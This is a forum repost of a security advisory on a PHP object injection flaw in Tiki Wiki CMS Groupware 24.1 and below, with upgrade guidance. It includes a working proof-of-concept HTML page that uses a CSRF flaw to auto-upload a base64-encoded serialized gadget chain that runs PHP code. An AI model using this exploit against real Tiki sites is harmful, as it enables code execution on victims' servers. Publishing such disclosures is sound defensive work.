Kev Posted January 11, 2023 Report Posted January 11, 2023 Tiki Wiki CMS Groupware versions 24.1 and below suffer from a PHP object injection vulnerability in tikiimporter_blog_wordpress.php. ---------------------------------------------------------------------------------------------------- Tiki Wiki CMS Groupware <= 24.1 (tikiimporter_blog_wordpress.php) PHP Object Injection Vulnerability ---------------------------------------------------------------------------------------------------- [-] Software Link: https://tiki.org [-] Affected Versions: Version 24.1 and prior versions. [-] Vulnerability Description: The vulnerability is located in the /lib/importer/tikiimporter_blog_wordpress.php script. Specifically, when importing data from WordPress sites through the Tiki Importer, user input passed through the uploaded XML file is being used in a call to the unserialize() PHP function. This can be exploited by malicious users to inject arbitrary PHP objects into the application scope, allowing them to perform a variety of attacks, such as executing arbitrary PHP code. Successful exploitation of this vulnerability requires an admin account (specifically, the ‘tiki_p_admin_importer’ permission). However, due to the CSRF vulnerability described in KIS-2023-01, this vulnerability might also be exploited by tricking a victim user into opening a web page like the following: <html> <form action="http://localhost/tiki/tiki-importer.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="importerClassName" value="TikiImporter_Blog_Wordpress" /> <input type="hidden" name="importAttachments" value="on" /> <input type="file" name="importFile" id="fileinput"/> </form> <script> const xmlContent = atob("PD94bWwgdmVyc2lvbj0iMS4wIiA/Pgo8cnNzIHZlcnNpb249IjIuMCIgeG1sbnM6d3A9Imh0dHA6Ly93b3JkcHJlc3Mub3JnL2V4cG9ydC8xLjIvIj4KIDxjaGFubmVsPgogIDxpdGVtPgogICA8d3A6cG9zdF90eXBlPmF0dGFjaG1lbnQ8L3dwOnBvc3RfdHlwZT4KICAgPHdwOnBvc3RtZXRhPgogICAgPHdwOm1ldGFfa2V5Pl93cF9hdHRhY2htZW50X21ldGFkYXRhPC93cDptZXRhX2tleT4KICAgIDx3cDptZXRhX3ZhbHVlPjwhW0NEQVRBW086MjU6IlNlYXJjaF9FbGFzdGljX0Nvbm5lY3Rpb24iOjE6e1M6MzE6IlwwMFNlYXJjaF9FbGFzdGljX0Nvbm5lY3Rpb25cMDBidWxrIjtPOjI4OiJTZWFyY2hfRWxhc3RpY19CdWxrT3BlcmF0aW9uIjozOntTOjM1OiJcMDBTZWFyY2hfRWxhc3RpY19CdWxrT3BlcmF0aW9uXDAwY291bnQiO2k6MTtTOjM4OiJcMDBTZWFyY2hfRWxhc3RpY19CdWxrT3BlcmF0aW9uXDAwY2FsbGJhY2siO1M6MTQ6ImNhbGxfdXNlcl9mdW5jIjtTOjM2OiJcMDBTZWFyY2hfRWxhc3RpY19CdWxrT3BlcmF0aW9uXDAwYnVmZmVyIjthOjI6e2k6MDtPOjIyOiJUcmFja2VyX0ZpZWxkX0NvbXB1dGVkIjozOntTOjMyOiJcMDBUcmFja2VyX0ZpZWxkX0Fic3RyYWN0XDAwaXRlbURhdGEiO2E6MTp7Uzo2OiJpdGVtSWQiO2k6MTt9UzozMToiXDAwVHJhY2tlcl9GaWVsZF9BYnN0cmFjdFwwMG9wdGlvbnMiO086MTU6IlRyYWNrZXJfT3B0aW9ucyI6MTp7UzoyMToiXDAwVHJhY2tlcl9PcHRpb25zXDAw ZGF0YSI7YToxOntTOjc6ImZvcm11bGEiO1M6MTQ6Im51bGw7cGhwaW5mbygpIjt9fVM6NDE6IlwwMFRyYWNrZXJfRmllbGRfQWJzdHJhY3RcMDB0cmFja2VyRGVmaW5pdGlvbiI7TzoxODoiVHJhY2tlcl9EZWZpbml0aW9uIjowOnt9fWk6MTtTOjEyOiJnZXRGaWVsZERhdGEiO319fV1dPjwvd3A6bWV0YV92YWx1ZT4KICAgPC93cDpwb3N0bWV0YT4KICA8L2l0ZW0+CiA8L2NoYW5uZWw+CjwvcnNzPg=="); const fileInput = document.getElementById("fileinput"); const dataTransfer = new DataTransfer(); const file = new File([xmlContent], "test.xml", {type: "text/xml"}); dataTransfer.items.add(file); fileInput.files = dataTransfer.files; document.forms[0].submit(); </script> </html> [-] Solution: Upgrade to version 24.2 or later.
